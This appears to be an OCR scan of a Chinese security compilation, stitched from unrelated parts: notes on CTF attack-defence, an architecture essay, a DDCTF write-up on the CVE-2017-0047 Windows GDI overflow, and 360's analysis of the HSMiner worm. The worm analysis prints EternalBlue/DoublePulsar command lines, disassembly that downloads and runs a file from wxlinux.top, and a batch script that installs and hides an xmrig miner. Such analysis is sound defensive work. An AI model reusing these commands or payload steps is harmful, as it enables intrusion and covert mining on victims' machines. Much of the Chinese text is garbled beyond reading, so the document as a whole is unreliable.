BAR(EFAE nop 12 free IIERE, (BRISEBEIENHIEGXH sao #B1E, FrlA## down 7,
XA LR THENE TESE, BRI 2HAHE check HHSWAR
[TizEA, L TEANEEHEE/IE AR,

AL, U RFIERFIFE SRR AENERIE, Lkt at 5 wings

200




L2%=-2018 FHT-55 2 #8

B e
n

KT HERBRBESEIIZAAMBAIZESAS, RiatreXEEEHMEBIRevolveriZBZ2 TE
KL%, WBLEERNSHASEMERIIAZ, FEERES EBIRRS. S
check SEZ R RERWARS iZ2EA, ZTHEAEHMESRME XA,

0x4 E-FIKENAIFHIESEEHLE

RNipERER T —FES AD RIRIEEAE, sTLUGIRIGN 74!
HANERRAE R 7 Bt &kBARY binary,
BERBABESCLVIR S, MELT MKBARY binary E/KED, EAREIGIE, 7KED ALV
B, MEE 5 MENMNERE TR aes IIENFRHE. 8MNMVEENEBENENF/HE
EEMERMNMLEX ERINEHITE R,
REIRES, IR NPC EHUWE/KED checker, BiRAS M@ paramiko [ scp &
download FTAXBARIFRA binary, FESLIEANEARY:

118 size RK/NEWSRHEENREFERA 7@

2 W NFFERMERY binary P 2EHIL 7 EBRAMRAIZKED
331, ERiLE, ptrace, SRENMBRAIEIHESIEERK, ELLET size K/NLETLUR
Bl BRLETTREE@RARY binary, SAE@IT A TR,
3t 2, EAKEDZAMEEEEEM, ETEREKEARY binary RHIIEBEBARIKEDZER
algeE . ATLA—BEBRAMEN binary HIL 7 EABBAMERIZKED, BRANERHRIEETH, #HITT
binary f93z#2, FILASLHE, RE 5 TKEDRIRERIABMETE patch RYSFEHHEIR T 7KED,
B N ATED.
0x5 Hifth

EASREAEKTEN, RERBRINRAE, XRERItHT 7 REHIRES T, &
IS—MBAMBEAKRRYF, B T &R ikBARIRANEE NG, EEREP IR E S RELS T T
SEIR,

BIMKIES D AIIRIR, CTF &N AD B8 EFEARE, Defcon th—EEZUH
AD &%, BREXNEENNETFEEISENARIIEESBIFNEHRRIAS HEA, 1L3A]
FIT, BN Jeopardy RN ESLREEIFAIL FERT(IEE,
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XX DS ENHESRRY IR
e vdn@K=RHY
[R3ERE:  [IKERBg] https://zhuanlan.zhihu.com/p/35751510
0x00 Intro

FNETF —mXE (FXHmIUSEERNRESRIT) RS, AEXSK TELE—R
NEFRIINSMEENZT, MMEaEEEihsLil. SRR ZPittIBEI RS
A, NEREHRSEENHEARHE, MSENIFIXBHRHBEREENENHRR. &
S B BRIk — LR T I B A B L IR R AP B ST,

Quick Look:

1. WEFEKREUFEM vs [RIREHRS M

2. AFRIHRIFTK vs Over-Designed

3. Service-Oriented Architecture vs FB&ER

LAENMERE FTENNEREHRERE, FigakEIiF.
0x01 VSSTERIRBUFRME vs [RInEESHIE

MBS, WSeIEEERINE, SMABFPEOMBXRREHEE A SHIEM FRY;
ATFEAIEAE, AERNNEPHIIXERFE —MERITR: RIGEUESES%, MEKE
ThEEERTTAIEIN, MNREEES— RN EREEEIZESNIE, FIANERMRR
!

1. Formatter 8 APl thE: AB—TIEERTHNER (NEB—XKER) HRE—
Formatter XEZHFIRAWSEKRNER,; SESIRBEIELIE AP,

2. HUBREARDINEEHRRENY . IREHURRAR NG SRR, Producer
Consumer [ERNEF—EMSE, Producer REEXRL Consumer FFRBERHAFAIREE,
i IREFAYIRENEE, FEE, Consumer AXEIMELEAKE, (IEENE DHEE
rhERET A5,

XFF G =R LA —ERRE L E R SRR IERSRES R IESHF I Z BN FE

1. Formatter & API thE

Q: A AL NESHWATIRH? BHAKEKIL?
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A: N ERR, XFF SRR St RS R I M RIRRR TS 2., 18 & ?
SERGABHENFELINCEERZMN T . SRXAARRZDAE, ERABRAEZE
— KB,

BEERIMENR, WSHIEKRGHAAM—ERERNAFEOR, SRFRREIENE &1
FAA—ERENTRARNEE: XX BEEEEFETRGR. (ERNAERAR, T2 —E
B9 APl #58 (RJREfER Swagger ZEHE Rest APl) H4MERIRI S SEIHRFRIBEIENNE
BC, RAlinme AR R RSN R EIE LT E.

HIBEEAU Rest APl SEEMH ARG SR —EBDIXERIEiHRIMER & _LRIE]
BEE—EEFEERELEN, e EXR— P FEEI™E:

A KN EFUSHERSMMERIBRRE ZAFE

HSCAFEREERER APl Sl REEE Formatter XA, EEMMATRIZKS
HEFUINENEREN, BHERE:

FAIER >> FHY APl >> FRAGISESIHES

RS, 81 Coder HLLBBRRILTRKECRNENFHHR KD DIFE LK~ REE, X
7534

2. G ELERE RN SR IREN N

X AHEL R e LR KRR E _ E R E—F5 i AREIRY:

B&EEKNEP WS A RERSINERIRIRELZ [BF G

Q: XMZEF E—FEHAREXE?

A: RELEHIEANAEZIEN T — hEtRE, EIGEEX— 1 FiERE, it
ARG ERRREIEFIA T LURERIEEE, FEASTEBIE— N EKREBAE AP, MEE
AR FE W SSHREY, RIRRIR KA AR ENERIRIAEUE LA LURERY, XM
BAZEH T8, ¥ 7PEEE, RRLERR, FIGSUENS AT ENE R SR

(RE=3V) 8

e

XFRR A EESCHHARZE—MgE, ARSMEA TENAFELTH, HERE T
FERFAFAMNRE,; EFZFAXMEIFRG EESIAKH LW RIFSCEANIRISH
(Proxy-Pattern) 71 :
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1. AMQP # Exchange HYikit
2. GraphQlL i&it
0x02 ZEFgit{hFEK vs Over-designed
Over-designed FEIERIT, EEHITIINMMZESEEREESRESHTZRN

kit.
SLTEXMNEREG, “fIEK" 5 Over-designed MIFBEHARKEERERST,
ERZHS, #4k4E Over-desighed RYAIER,
. [EEIBIRME SR Useless IITHEESEUKE Over-designed
. MRS ERTF Infrastructures S5\ISBEZBIRIXESE Over-designed
. WEHITESEFERKSE Over-designed

4. hype-driven development

5. ..

EXMERF, BAIESREGRSE—MERL—F, REAWRISERER "hEX" w%K
B9 Over-designed, \—FFHia#EEfE Code EHEIIE, B—EXMLFRE—MEER, #MEX
BEBESHEEMSLSHIE s S, REEXEIESHE—FER, thal HDD
(Hype-Driven Development) X3ERii—BE2RAHAIEK.

SAFEXMERFIRER “IEX" AAEmEERA "WSHhFEX" | MEXNES
HE— Feature RBHEIERHETHEASERENETEEE, EGECHEBINT—E "1
B . XFENERRSZSEER, IoBEXRt, SE R BCKEXA Feature 18
KEXRIBIRY Feature AJREREMEAARIRNKELI, MBEIH 7 ELSAIEHFINEEHARX
—BERA T L, FEXM "fodK" WE "hif" HLRAARZIN, tEIHARERNR
B, RMEE, NF—MAEREN Coder ki, BSMA—MEHHNIERK

SIRHIERAZE Over-designed, Z£" XEEE "HEESTTE— Coder i
HE—MEKAEE,

Jzitn

‘HH]/

w N

RENXAS, TJREEERH—MIF: HIRBSE—HMEFHEE, ERENFIENRSES
FRMRSH—EFE? BIAXESERKEEN. RBENEPFSERAS, IRESOMATEE
B, RIFRNIRTT, BEEL, a5y, DevOps &BFBERLA, —1 Passion Coder

204



L2%=-2018 FHT-55 2 #8

BRARIFERAZXM Cloud Native MEZHFIERIFTIA, (BERERENSERNZREATE,
ARG, ERBINEIEMRSXMEEFENSHARSR, B, BEFREEERENE, (7
[EEFRNRFENMEGHMIRS? S, ARRRIFRKT AR TIRSREINEE, RIIRE
RATNFREMIRS T, BAREATEEEER? KEERE Y SOA? XEHSHE— S
18Ry Coder FEBENAE, HARRFEIFEAN, KA,
&%
https://aadrake.com/posts/2017-05-20-enough-with-the-microservices.html
FTLAFEIXMUE B, R, BENBANEXBEZHESZZE] Over-designed
RIS,
0x03 Service-Oriented Architecture vs B5ER

BEX/MAFEEREREFRINRE—BEIE, NMMABIEZBNEE—BEEIR
FZEFEE, T LS, EEREZERES, —S—2EkK, NBEH, tETRESHE
RAE, FEEREMELY, BB XUEHERENMBENESITCHER,

ARG REES RN EER T HEIWEABERIRS, RS ZABERE
BILHES, Eit, EX ARG ZAREEMZEVREBEGESH, X2Um
B, FAMEXA Topic FiTigEAEAYERE:

1. FEEEEUEIRE LS

A:  "HARHIXMRSHIEIRE EAESRE?

B: "EARIRIE Postgres RURARTEHR, (REESEIEUEEE"

A: "Models FtE Git £FAINAE, COPY E{RBEBERATLL"

TkZE, ETILR, AAEKER), SUEEEFEEN......

B: "IRFEEH Models, {RABERIREHTENZLHT”

A "L SESERE jpg”

B: "M Migration BEAZHEM? /=2 A 17 Models? ”

A "R, EigE, BRI jpg”

XIFRIXIE, fRRSCSERMSLA LR, XNEBUEREEN R TN A RNRS T &S
B, EMANEM, Feature FIFSKAUIENN, HESHEENSX MEEMEXEKAIIRSHINAG
S, 1ERIXFRYRIR RN T S ERNIRS Z [EHEEE.
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BLBARCEE TBERS, NMTARERARE X BEMIRIERETER, HiF—E85
BB E L E R R EUE S SRR R NI, BIMESRER S RIEAE S a5 X IZME)
&R, tkan: —5fEE ORM —/5i8EEA ORM, &S ORM SHUEEARRINRIESEL
PR, BEEREE— MRS ELSIEERE LA/ NERE S E E RS .

2, BEEROHVEL

A: "FEURNENRES, TN MQ RSHETH T

B: "BRAILNMTRRIBCE R ReE iR BN e EFHE6)"

A: "Orz.. K—EIEBRIEHAR"

BRERRERKA], TeeArERI B HSBRIXM I, IN—MREFNEREESH X
MERENHFELD), E—IEENNE, fEHFEE—AHEENHFRATRIEN.

9K, IP B aEHERT RIGA R EVRIF R, REZEAM DNS aJLURTEIFNTER
BINES ERUETLAY ; (ERFE—TEENNNSERIKEKTE, AIHFAEIPABZERRRA.

SABHARKENERR  BEF OFERNEEHOE P imH el LARRRIXFR R, (40
FMrNREFROBEETR, IIMEE-EE TIE)

BEEFUOEIHBHAREZALIRRXREE, RSAEM, Balgill, EE—LRSEM
ERNEL, SHEEHTIIBTEEPOFRM. ELEF, Etcd F1 Zookeeper NFIHITE
ez, LA Zookeeper Affl, TN ARERFESITMBRABNARSREZMTA
IBE5ME, Zookeeper ZEFin—REFETHEMNANESSIE, & acl f1 ZK EHEEBSIZNER T,
FEA LSRRG E X E REERES MR R FRI—EUE, W&, AT, HBR
IE—ERREH.

3. 23K BEAS Infrastructure

br7 LEREINEZH EERESRIE, AARIE PRBIES R EAEAS IAE
=, (BEERsFENREERARTHEN . REEARMNGIFESIHME —LEMIRE RE
BOIARR, IXEEEIRRY S AHEAMUISET O E2EEAEHN, A, MREEAE MRS
AR KREH L ANBEORZSY, FJReaSHEMRSERAAENABEERERL).

BREAAEREXFNRIRERLIERR, MABENS, BERXFEMAYIE,
EEBF A NESEE MR A, 1258, WP ARMCREERNABAIZEBRAR, £— MRS
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Stable RYRHZ, BAVERNABRRBEMEMIRENE—ILEEERS, BRERANEK
BHEHSHRSZHINFE.
0x04 Outro

LMEIMIE F, BRENEDEHRRUXAZ. EAXBRRERREET =MRESEN
RUERDERAR—LECHSHNE, FEFJLUES|IE, 515-KE—m ;)
KSENE
EfRRRHINGEERE AT, SREAETATEREENDITHT— Web NARLXIE=
M, EEBRRERENZ2R#, ZOREERNTEKYE, EhErsStnE, AEWRERT
FE RN elr R,

W AME Y THEAFECIFEW "ATERINEAN" SUR2ESE—, BRSEEFTERT.
RiBIRIT. RFIEF. PEFR. B&FZ. Bilibili, LAFERIINEER,
<Z=EM: https://chaitin.cn/cn/

FEMEZh: https://blog.pwnhub.cn/

RS A B RN BRI KSR R A RS M40, —Eh
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%<F DDCTF 2018 #i& PWN EERYi%HB

EE: EFORmERE
[R3ER:  [EEgE] https://mp.weixin.qg.com/s/IWZTB0-Kp5to 1ZWiv-bSA
B=NE

SHEHRHTHIE DDCTF PWN RERH, AANERERMEES 7 ZAiidHN—LiRE
Xk, W NmRDBIE CVE-2017-0047 #1 CVE-2015-0057, 3kH Pangu By Slipper
A1 360 Vulcan B9 "FY Oday #EHIK_" /e Y B —EBEBNESR, 22 ExpCode £
wHE, ERURFNEREBEEE. FEM]! (REhERREAERAFEE (P)
I. CVE-2017-0047

CVE-2017-0047 2—MZEAVEEEHIBIRE, BinDiff 17 EngRealizeBrush Z 5]
LIEMESFEEXTIINT ULonglongToULong #1 ULongAdd ZRE, &ML
BEfESE—ATIEFIRTHIXE Integer Overflow ZEEURYEIRR, iFI5H9:Z, £ Windows NT it
BRYRABRINTLUBEHITAIRE. BaiER, XNRRFETED 26 F — 7
HIFEBEFHATAER "&D" —A.
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cjScanPat = (ulSizePat * cxPatRealized) »>» 3;

ulsizeTotall (ENGBRUSH) + (ulsizePat = sizlPat.cy * cjScanPat);

(pSurfMsk !=

PENGBRUSH pengbrush;

DBG
engbrushalloc++;

{(gpCachedEngbrush !-=

{{pengbrush = (PENGBRUSH)
PALLOCNOZ (SIZE_T( {ENGBRUSH) - 4 + MIZEIgraesl), ‘rbec'))
)

DI EngRealizeBrush Couldn't allocate for engine realization™);

THEAMCEBEBRIR Windows NT JRAABEER

\ntos\w32\ntgdi\gre\engbrush.cxx Ay 138 %] 143 17:
//

// Calculate the size to hold the pattern in the Target's format.
//

¢jScanPat = (ulSizePat * cxPatRealized) >> 3;

ulSizeTotal = sizeof(ENGBRUSH) + (ulSizePat = sizIPat.cy * cjScanPat);
ERBIZEZE, SREUETTLISE ulSizeTotal AAEERHEY, MERSHZEHN
FREERIBHFIKTEIGE,
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BRI AIX Rt G R EREEAEXIKIS, WA ENGBRUSH XSSR{AF
Session Heap HEIE=EHIEECA, MILE(NEIFER/ERIEZRILAGER, Fian: [2] [3] [4]
FTLAS HiIXNmRF R HAE S,

INFRIEBAULEER, BBAXMENHAALERT ., (FHAEEF 2017 F 2 BHRY
MS17-013 [1] IRERIHERAIHN TIFERRTE, ZH T IREHEEXEIGEER. SR
2 CVE-2017-0047 1EXERBEEE / IDA Pro + BinDiff B TN 7T —FEN—1H.

N TRIFFARERIEE 7R UT TETEIZE:

ulSizeTotal = sizeof(ENGBRUSH) + (ulSizePat = sizlPat.cy * ¢cjScanPat);

M2 Y &ERIINEE<S@E |

if ((pengbrush = (PENGBRUSH)

PALLOCNOZ(SIZE T(sizeof(ENGBRUSH) - 4 + ulSizeTotal),'rbeG"))
== NULL)

WHE R EREEE—T®A, ik sizlPat.cx #1 sizIPat.cy 9BIZF 0x03fffffe F
0x10 BPAJ&Rid#hT :

Command - Kernel 'com:pipe, po peicom_1,baud=115200, reconnect’ - WinDbg:6.3.9600.16384 AMD64

ating Systen

HI— NN ZEDE "SIZE T(sizeof(ENGBRUSH) - 4" A/MUHERRESHWHE 0x4 4
F1 (REXTHED.
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FAREMAIN T XNARE, % 0-Day iR Vii—FEISFN=R{7. BTHEIR,
HAREH DREIMEHERREIX N R, RERER 0-Day ITW HKEHEAEAREK, 2018
F 3 B, iRIRRY KB4088878 £ZiRkhR "#NTRUANT " KIXEE:
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. ERB 30+ e RES 9 ’
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BE&8
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pEIMhE: AT ESHX B E6OSH A RA-1001

N g ..




Le%=-2018 FZF-55 2 8§

[RE53th]

W ERRYISH 8 HSMiner &R

E&: 360 EBMBEIRAC
JRSKE&R: https://www.anquanke.com/post/id/149809

C1ET=1
Bt

KIEZEREEMN 2017 F£4 B NSABRET A MG, MRS TR AN SN,
MEIZEES WannaCry, NotPetya, Z#z# j%E Powershell Miner, NrsMiner ZoAFI FIX
— T EXEE].

maaH, 360 Rl XREF ENZE—FFRYFIAE NSA X TR TEERIZT %
5 (IBRXMR/IZM) , ZwESREERERNBARETTIRIEHERE, HRNAESEy
RAIEEAART. RESH LRIEHRETRA hs.exe, HVEHEBBE A HSMiner, iZfws5E

BANRKEZE. XEREREHTER KREGEZE 8, TERITEADINEE:

H5Miner

iZi gl 8ok

EI

BII% o S 82

i
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B

360 e REFPAIHZIFEATT T IFEDIT, HATIREERES /IERE. 20 M=
RIER, mESEI AN TITAAEERRR E O 1P FrfEit KGRI EE RS aIxd
RrEXAY IP HEUEFIZRHTT SMB REFIRIERE, FFEERI (XMR/IEM) Mizilgebist
DA IKEREHIZ EE BRI BRI,

1 &R

HRERUEERRIEIZITHS, @R http://2017.ip138.com/ic.asp SRENABEERM H
O IP e, #R1E P ATt E RS ER TS ERX Y TRY IP itk (WE 1) |, B
an IP FRfEtt 24t R(WE 2), MAEMALIRAY IP 7 IREFIRBIRIER. AR
XLEHBERT 445 im0, X 445 FFREOENETIRG, IGTE 2017 & 4 BiltEERY NSA
KEZE. XEREERETH, WERIIATEISH RG], &REET XA TNz Payload
THZEEH 2.

=R L = HEaa LITRat | Wil | =Rt
At | SEa Ehhixt L EBat | AEnt | iRl
B2 ERLEA ST LRt | KRt Exa
BEREwxt | |IEu PR LUl | e

IR L BT

Tt | R | S8
iR Sk 21A L ARt ESot | i@t

G [T D [T I3
[0 [ [0 [ [

=

1 =X K5 1P HbESIZR
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192.168.0.0 192. 168. 255. 255
172.16.0.0 172. 16. 255. 255

1.2.2.0 1.2.2.255 IEFEFR woxFHEHFIRAT
1.2.4.0 1.2.4.7 s wafdEB{E B,

1.2.4.8 1.2.4.8 5EF oG EB x5S
1.2.4.9 1.2.4.255 EmHF ooaflZ{E B8,

1.4.4.0 1.4.4.255 IEFEFR wocFHEHGIRAT
1.8.0.0 1.8.255. 255 IEFEER woxFHEHIRAT
1.12.0.0 1.13.223.255 mF EeeaPdE R/ BHRAT
1.14.0.0 1.15.255.255 kB keaxplERHSHBRAT

2 JEEtbXERs IP HehFIZR

Eternalblue-2. 2.0, exe --TargetIp %a¥% --Target WINTZKSRZ --logfile log. txt

Doublepulsar-1.3. 1, exe --TargetIp %a¥ ——Frotocol SMB ——Architecture x84 —-Function RunDLL --D11Payload DllitestB4. d11
Eternalblue-2.2.0, exe --TargetIp %a¥ -—-Target XP --logfile log txt

Doublepulsar—1.3. 1. exe —-TargetIp %a¥ ——Protocol SMB —-Architecture %86 —-Function RunDLL --D1lPayload D1litest86. d11
Eternalromance=1. 4. 0. exe —-TargetIp %a¥ —-Target WINTZKSRZ --logfile log txt

Doublepulsar—-1.3. 1. exe --TargetIp %a¥% —-Frotocol SMB --Architecture %64 --Function RurDLL --D11Fayload D1l'test64. d11
Eternalromance=1.4.0. exe --TargetIp %a¥ —~Target XF --logfile log txt

Doublepulsar—1.3. 1. exe --TargetIp %a¥ --Protocol SMB ——Architecture x86 --Function RunDLL

iKrE;an

[sass.exe HEF

=-D11Payload D11\test85. d11

& 3 xEZHE. KIERSWELHA

IKERELEMIIRSEAN— payload R, ZEHIGHRIENTERS
=17, WoRBIT:

edw, offset File ; jumptable 1888118C cases 8-3

ecx, offset szUrl ; “"http://wxlinux.top:528/weilai.exe”

sub_1a681666

edw, offset alWezExe ; "c:'wez.exe"

ecx, offset aHttpWxlinuxTop @ ; "http:// wxlinux.top:528/weilai32.,exe”
sub_leaaless

3EBh ; dwMilliseconds
ds:Sleep

esi, ds:ShellExecuted

5 3 nShowCmd

] 3 lpDirectory
] 3 lpParameters
offset File 3 "oilgwa.exe”
offset Operation ; "open”

e 3 hwnd

esi ; ShellExecuted

5 3 nShowCmd

] 3 lpDirectory
] 3 lpParameters

offset alWezExe ; “"c:\\wez.ewe"
offset Operation ; "open”

e 3 hwnd

esi ; ShellExecuted
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@ TES
S 4% 2018 T 2 1

4 JREEN Payload A3

ZIBEERT THRSTEEFE, TRXHEEERAN" C\qwa.exe” FIETHRIER,
B,
ERBIRIRGRERA Windows 5= RSB EE T BRLEMN— I RFRS EHRRE

@sc delete Adapter
@sc delete Adaptar
@sc delete Serw
@sc delete Xtfya
@lsm. exe install Xtfya wx. exe

@lsm. exe start Xtfya

BC: \Windows\regedit /s wxservera reg
@del wxservera.reg

Bl 5 LGRS IER

2.J2H RER

P RRINREERE— Winrar BREEER, XHRFRA hs.exe. FEEBRTNT:

=73 . FN SN ER  TENERASEERHEGS
M. FipEE

Path=C:\Windows\Fonts\

B)axzewxserver.reg 334 271 EEER Setup=wx.bat
[ iexplorer.exe 1,301,504 430,292 RFEEFE Silent=1

7 windows.exe 324,608 111,749 WERF Overwrite=1l
(@ wx.bat 515 341 Windows H#tAME..

6 HSMiner 121 B/ EIEF

B EEHITHIA wx.bat:
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Becho off

@sc delete Adapter
@sc delete Adaptar
@sc delete Serv
Bsc delete Ntfy

@windows. exe install Xtfyxxx 1explorer. exe ——donate-level 1 ——av 1 ——safe ——cpu-priority 5 —o a wxkuangji. com 443 -u 45E¥yc]

Bwindows. exe start Xtfyuxx

BC: \Windows'regedit /s axzcwxserver.reg
@del axzowxserver reg

@attrib +s +h C:\Windows'Fontshiexplore. exe
@Battrib +s +h C:\Windows\Fonts\windows. exe
del ¥sfremd®
del "¥0” >nul

7 &% HSMiner 31 IBS%S

N_EEfR, BEE=ARSEETR windows.exe EiZH &R iexplorer.exe LABRSS

A RE B,

HAVEDHTPEAIN%FKIEFES N EF, HPSoRERIZRISR, BAXLTME

BRI, SIBEMEE . 1R, AEFERSR—XAT 7, IMETESAREMRSIIMMTT

BRI R RRIRHETIZY, A TNERRAEDHIA:
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taskkill.
taskkill.
taskkill.
taskkill.
tasklkill.
tasklall.
tasklkill.
taskkill.
cexe ff /t fim
taskkill.
taskkill.
cexe ff ft fim
taskkill.
taskkill.
cexe ff ft fim
taskkill.
taskkill.
taskkill.
taskkill.
taskkill.
cexe ff /b fim
taskkill.
taskkill.
tasklkill.
cexe f£ /t fim
taskkill.
taskkill.
cexe ff ft fim
taskkill.
tasklkill.
.exe ff ft fim
taskkill.
taskkill.
taskkill.

taskkill

taskkill

taskdall

taskkill

taskkill

taskkill

taskkill

&l 8 FEEMIZH . R, AEFKRE

exe ff ft fim
exe /£ ft fim
exe /£ ft fim
exe ff ft [im
exe /f ft fim
exe ff ft fim
exe ff ft fim
exe ff ft fim

exe ff ft fim
exe ff ft fim

exe ff ft [fim
exe [f ft fim

exe ff ft fim
exe ff /t fim
exe /f ft fim
exe ff /t fim
exe ff ft fim

exe ff [t fim
exe ff ft fim
exe ff ft fim

exe /£ ft fim
exe /f ft fim

exe ff ft fim
exe ff ft fim

exe /f ft fim
exe /£ ft fim
exe /£ ft fim

#inSCV. exe
Guwygnk. exe
RTHDCFL. EXE
vmtools. p1f
lassa. exe
SCYKM. exe
irsetup. exe
ssc. exe
Netohad. pif
Geueogm. pif
W, exe

139. exe

upn. exe

9. exe
gpresulst. exe

mysqlservicer. exe

mysqldb. exe
WiInss. exe
Msgmk. exe
Desktoper. exe
lcasee. exe
windll. exe
xmr. exe

xmr86. exe
loacer_xmr. exe
xmrig. exe

Sougoudllera. exe

test. exe
wusa, exe
Aoffec. exe
Autoexec, bat
wbmoney. exe
Utilman. exe
setmss. exe

B R A B RAEFTIFER xmrig ZAll_EmIEMsE, N NERR ARSI TSE0RA:
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__int64 sub_484F30()

return sub_49AB40(

“Usage: xmrig [OPTIONS]\n"

“Options:\n"

" -a, --algo=ALGO

-0, --url=URL

-0, --userpass=U:P

-u, --user=USERNAME

-p, --pass=PASSWORD

-t, --threads=N

-v, --av=N

-k, --keepalive

-r, --retries=N

-R, --retry-pause=N
--cpu-affinity
--cpu-priority
--no-huge-pages
--no-color
--variant
--donate-level=N
--user-agent

-8B, --background

-c, --config=FILE

-1, --log-file=FILE
--max-cpu-usage=N
--safe
--nicehash
--print-time=N
--api-port=N

--api-worker-id=ID
-h, --help
-V, --version

£ 34 3 FAHEFE A DERFEL S S A

3.imiEARE

cryptonight (default) or cryptonight-lite\n"

URL of mining server\n"

username:password pair for mining server\n"

username for mining server\n"

password for mining server\n"

number of miner threads\n"

algorithm variation, @ auto select\n"

send keepalived for prevent timeout (need pool support)\n"
number of times to retry before switch to backup server (default: 5)\n"
time to pause between retries (default: S)\n"

set process affinity to CPU core(s), mask €x3 for cores @ and 1\n"
set process priority (@ idle, 2 normal to 5 highest)\n"
disable huge pages support\n"

disable colored output\n"

algorithm PoW variant\n"

donate level, default 5%% (S5 minutes in 100 minutes)\n"

set custom user-agent string for pool\n"

run the miner in the background\n"

load a JSON-format configuration file\n"

log all output to a file\n"

maximum CPU usage for automatic threads mode (default 75)\n"
safe adjust threads and av settings for current CPU\n"
enable nicehash/xmrig-proxy support\n"

print hashrate report every N seconds\n"

port for the miner API\n"

--api-access-token=T access token for API\n"

custom worker-id for API\n"

display this help and exit\n"

output version information and exit\n");

B9 2H an1TE

HSMiner &7 —NMN&fEARS, ASXRA VC /5, i57EBM—1 DLL X4, #Hi5

1Z DLL i EM AR A IRSIET.
MBEIERERL— DLL 3215 :

v3 = LoadLibraryA("kernel32.d11");
v1l5 = GetProcAddress(v3, "FindResourceA");
hResInfo = (HRSRC)((int (__stdcall *)(_DWORD, int, int))vi5)(@, a2, a3);

if ( !hResInfo )
return @;

hResData = LoadResource(@®, hResInfo);
v6 = LockResource(hResData);
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v1@ = LoadLibraryA("kernel32.d11");

v44 = GetProcAddress(v1®, "WriteFile");

((void (__stdcall *)(HANDLE, LPVOID, int, int *, _DWORD))v44)(hObject, v6, v46, &v13, @);
Sleep(1u);

BTERGEMFRFIMTRARES 360 221!

mov [ebp+var_18C], 'S’

mov [ebp+var_188B], 'O’

mov [ebp+var_18A], 'F’

mov [ebp+var_189], 'T’

mov [ebp+var_188], 'W'

mov [ebp+var_187], 'A’

mov [ebp+var_186], 'R’

mov [ebp+var_185], 'E’

mov [ebp+var_184], '\’

mov [ebp+var_183], '3'

mov [ebp+var_182], '6’

mov [ebp+var_181], '@’

mov [ebp+var_18@], 'S’

mov [ebp+var_17F], 'a’

mov [ebp+var_17€], 'f’

mov [ebp+var_17D], ‘e’

mov [ebp4+var_17C], "\’

mov [ebp+var_178], @

lea ecx, [ebp+var_174]

push ecx ; phkResult
push @Fee3Fh ; samDesired
push 2 5 ulOptions
lea edx, [ebp+var_18(C]

push edx ; lpSubKey
push 80000002h ; hKey
call RegOpenKeyExA

test eax, eax

NRZES 360 T2 P ENEREHNTT, BUER WinExec 3Kiz1T rundli32.exe, BITiX

M zUnEkE1T dil:
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push
push
call
push
call

push
call
push
push
call
push
call
mov
lea
push
push
lea
push
call
add
nop
nop
push
lea
push

offset aWinexec ; "WinExec
offset aKernel32Dll 13 ; *

LoadLibraryA

kKernel32.¢

eax ; hModule
GetProcAddress

[ebp+var_29C], eax

12Ch ; dwMilliseconds
Sleep

offset aWsprintfa @ ; "wsprintf
offset aUser32D1l 1 ; "user32.d1l"
LoadLibraryA

eax ; hModule

GetProcAddress

[ebp+var_298], eax

eax, [ebp+FileName]

eax

offset aRundl132SServi ; “rundl]
ecx, [ebp+var_294]

ecx

[ebp+var_298]

esp, @Ch

e

edx, [ebp+var_294]
edx

[ebp+var_29C]

I EELREITm 1T

B12FCAB| 72 75 6E
64 6F 77
J12FCCO| 2E 64 6C
§ 6E 68 06

CBO

rundll32

64| 6C
73

6C|2
08| ot

33

75

> 53
00 oo

32|28
61|69 34 33 39
65|72 76 69 63
00|60 66 60 66

22 3A|(5C 77
34 34 39
65 4D 61

60 00 68

69

43

6E|rundl132 C:\win
35| dows\kuai4394495
69| .d11",ServiceMai

68| n

“C:\windows\kuai4394495.dll" ,ServiceMain

BNA DLL BASEHAER. % DLL IEFELHZE SR, NN ERoEE:
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EEFM— svchost = #HIEIRSS

B

kuai2192.1002D6ES
kuai2192.10082D660

REZRSEEMERPIRAT:

HEEY_CURRENT_USER
HEEY_LOCAL_MACHINE
| HARDIWARE
1 SaM
| SECURITY
] SOFTHARE
R | | 75267106
] 360Chrome
(] 360MD
] 3B05afe
| Baidu

+ *

=]

B

(ab] BriA)
;i_’bi]]:le:cription
éﬂﬂisplayName
ﬂq‘]ﬂrrorControl
|2b]ImagePath
._il_'l_i':lDb_'i ectName
BE)Start
EﬂTwe

I=a

REG_SZ
REG_SZ
REG_SZ
REG_D#ORD
REG_EXPAND_SZ
REG_SZ
KEG_DHORD
REG_DWORD

238

exe. 5 H360% £
RA®ET?..360 )1 .

avira... ...Avas
t... -...DR.WEB..

IR -« .
Bacon sulfiT
- -.-Arcavir.
SR -1 | (R
Authentium.. ...
AUG. ...BitDefen
der. ...ClamAv..
-..-.Comodo.. ..
F-Secure....
Ikarus.. ...j

> =
T‘T?ﬁ----'h

ASCII “Gpgcqj Bhntbiig Yisdurgf Jrgy*
ASCII "Gguhfm Hixovydn Dma"

advapi32.77EB736D
advapi32.CreateServicen

E5

EHEFREE)

Hfpysrlu Pevxykquh Jockvfp Gunrsjyl Myi
Gpgeqy Bhntbiig Yisdurgf Jrgy
0:00000000 (D)

#SystemRoot$iSystem32\svchost, exe —k sougoun

LocalSystem
0:00000002 (2)
0x00000110 (272)
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J HREI_LUKKENL_UDEK -]

1 HKEY_LOCAL_MACHINE
3] HARDWARE

33 sam

(] SECURITY
(] SOFTHARE
=] 178287106

| S 8- S -
Etid) REG_SZ EHERER)
ServiceDll REG_EXPAND_SZ C:\Program Files\Lfxg\Bwoalvgbv. dll

Parameters

EESTIRS NOEERS ServiceMain:
BT, BHHERESE DSMain.exe (HERBLAEIFHS, 1Z#iEN 360 &2

PrHEBENESHEMIRSER) | IREMZHE, HASHIRES RS EME:

String2 = 'e’;

v = *x's
v = 'e’;
V7 = T
v = "n’;
vl = ‘i";
vie = ‘a’;
vil = 'M';
vi2 = 'S";
vi3 = 'D";
vi4 = @;
_strrev(&String2);
while ( 1)

if ( sub_1eeecBoD(&5trihg2) )

// B EEHDSMain. exetiE

£9] _STrrev(&>Iring<);

31
32
33
34
35
36
37
38
39
40
41
42
43

45

if ( sub_100@CBID(&String2) )

{

38| while (1)
{

// B EEHosMain. exetiE

strcpy(&SubKey, "SYSTEM\\CurrentControlSet\\Services\\");
memset(& 2, @, 8x108u);

v = @;

strcat(&subkey, DataBuffer);

strcat(&subkey, aParameters_0);

putchar(48);

RegDeleteKeyA(HKEY_LOCAL_MACHINE, &Subkey);// MIBRENIMISEME
putchar(48);
}
else
{
sub_10015D28(); /] REBERFIMERSHFE, FEENEHR
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EERTEE—REE:

wxlinux.top BPRIZASZERNE C2 RBas, EiiER C2 RS38s:

= gethostbyname( )3 /{ BEwxlinux.top IEEMERip
putchar(48);
if ( Ihe )
return @;
= 2;
puts(a@_12);
2 = htons( - ): [/ EmOWRE
